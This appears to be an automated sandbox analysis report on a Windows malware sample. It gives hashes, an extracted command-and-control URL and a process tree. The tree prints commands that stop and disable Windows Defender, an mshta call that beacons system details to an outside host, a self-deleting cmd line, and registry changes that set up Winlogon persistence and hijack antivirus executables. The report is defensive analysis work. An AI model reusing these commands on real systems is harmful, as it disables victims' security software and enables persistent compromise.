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Analysis
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max time kernel
150s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19/09/2024, 06:13
Static task
static1
Behavioral task
behavioral1
Sample
eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
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Size
2.3MB
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MD5
eabd3adb848cfe1843879142be96a2d7
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SHA1
8843f2b3e152add67c33f894d2456906ab4a3629
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SHA256
4c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b
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SHA512
411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8
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SSDEEP
49152:e1ZWlkS3CWK0HieQs9QToFxQP09R4lPQ2r1CsHrpNxO8:e6lkS3Npirs2TAx5SNQA0kpy8
Malware Config
Extracted
http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=WOUOSVRD&2=i-s&3=72&4=7601&5=6&6=1&7=99600&8=1033
Signatures
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Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\gkfvel.exe" gkfvel.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe" gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe" gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe" gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe" gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" gkfvel.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe" gkfvel.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe" gkfvel.exe -
Deletes itself 1 IoCs
pid Process 1708 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2644 gkfvel.exe -
Loads dropped DLL 2 IoCs
pid Process 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2820 sc.exe 2980 sc.exe 1572 sc.exe 2056 sc.exe 1088 sc.exe 2856 sc.exe -
System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gkfvel.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2644 gkfvel.exe Token: SeShutdownPrivilege 2644 gkfvel.exe Token: SeDebugPrivilege 2644 gkfvel.exe Token: SeShutdownPrivilege 2644 gkfvel.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe 2644 gkfvel.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2644 gkfvel.exe 2644 gkfvel.exe -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 2104 wrote to memory of 2820 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 29 PID 2104 wrote to memory of 2820 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 29 PID 2104 wrote to memory of 2820 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 29 PID 2104 wrote to memory of 2820 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 29 PID 2104 wrote to memory of 2980 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 30 PID 2104 wrote to memory of 2980 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 30 PID 2104 wrote to memory of 2980 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 30 PID 2104 wrote to memory of 2980 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 30 PID 2104 wrote to memory of 2080 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 31 PID 2104 wrote to memory of 2080 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 31 PID 2104 wrote to memory of 2080 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 31 PID 2104 wrote to memory of 2080 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 31 PID 2104 wrote to memory of 1572 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 34 PID 2104 wrote to memory of 1572 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 34 PID 2104 wrote to memory of 1572 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 34 PID 2104 wrote to memory of 1572 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 34 PID 2104 wrote to memory of 2644 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 37 PID 2104 wrote to memory of 2644 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 37 PID 2104 wrote to memory of 2644 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 37 PID 2104 wrote to memory of 2644 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 37 PID 2104 wrote to memory of 1708 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 38 PID 2104 wrote to memory of 1708 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 38 PID 2104 wrote to memory of 1708 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 38 PID 2104 wrote to memory of 1708 2104 eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe 38 PID 2080 wrote to memory of 1748 2080 net.exe 40 PID 2080 wrote to memory of 1748 2080 net.exe 40 PID 2080 wrote to memory of 1748 2080 net.exe 40 PID 2080 wrote to memory of 1748 2080 net.exe 40 PID 2644 wrote to memory of 2856 2644 gkfvel.exe 41 PID 2644 wrote to memory of 2856 2644 gkfvel.exe 41 PID 2644 wrote to memory of 2856 2644 gkfvel.exe 41 PID 2644 wrote to memory of 2856 2644 gkfvel.exe 41 PID 2644 wrote to memory of 1088 2644 gkfvel.exe 42 PID 2644 wrote to memory of 1088 2644 gkfvel.exe 42 PID 2644 wrote to memory of 1088 2644 gkfvel.exe 42 PID 2644 wrote to memory of 1088 2644 gkfvel.exe 42 PID 2644 wrote to memory of 896 2644 gkfvel.exe 43 PID 2644 wrote to memory of 896 2644 gkfvel.exe 43 PID 2644 wrote to memory of 896 2644 gkfvel.exe 43 PID 2644 wrote to memory of 896 2644 gkfvel.exe 43 PID 2644 wrote to memory of 2056 2644 gkfvel.exe 45 PID 2644 wrote to memory of 2056 2644 gkfvel.exe 45 PID 2644 wrote to memory of 2056 2644 gkfvel.exe 45 PID 2644 wrote to memory of 2056 2644 gkfvel.exe 45 PID 896 wrote to memory of 1160 896 net.exe 49 PID 896 wrote to memory of 1160 896 net.exe 49 PID 896 wrote to memory of 1160 896 net.exe 49 PID 896 wrote to memory of 1160 896 net.exe 49 PID 2644 wrote to memory of 2700 2644 gkfvel.exe 50 PID 2644 wrote to memory of 2700 2644 gkfvel.exe 50 PID 2644 wrote to memory of 2700 2644 gkfvel.exe 50 PID 2644 wrote to memory of 2700 2644 gkfvel.exe 50
Processes
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C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2820
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2980
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C:\Windows\SysWOW64\net.exenet stop msmpsvc2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
PID:1748
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1572
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C:\Users\Admin\AppData\Roaming\gkfvel.exeC:\Users\Admin\AppData\Roaming\gkfvel.exe2⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2856
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1088
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C:\Windows\SysWOW64\net.exenet stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc4⤵
- System Location Discovery: System Language Discovery
PID:1160
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2056
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C:\Windows\SysWOW64\mshta.exemshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=WOUOSVRD&2=i-s&3=72&4=7601&5=6&6=1&7=99600&8=1033"3⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2700
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EABD3A~1.EXE" >> NUL2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
PID:1708
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Replay Monitor
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Downloads
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Filesize
2.3MB
MD5eabd3adb848cfe1843879142be96a2d7
SHA18843f2b3e152add67c33f894d2456906ab4a3629
SHA2564c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b
SHA512411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8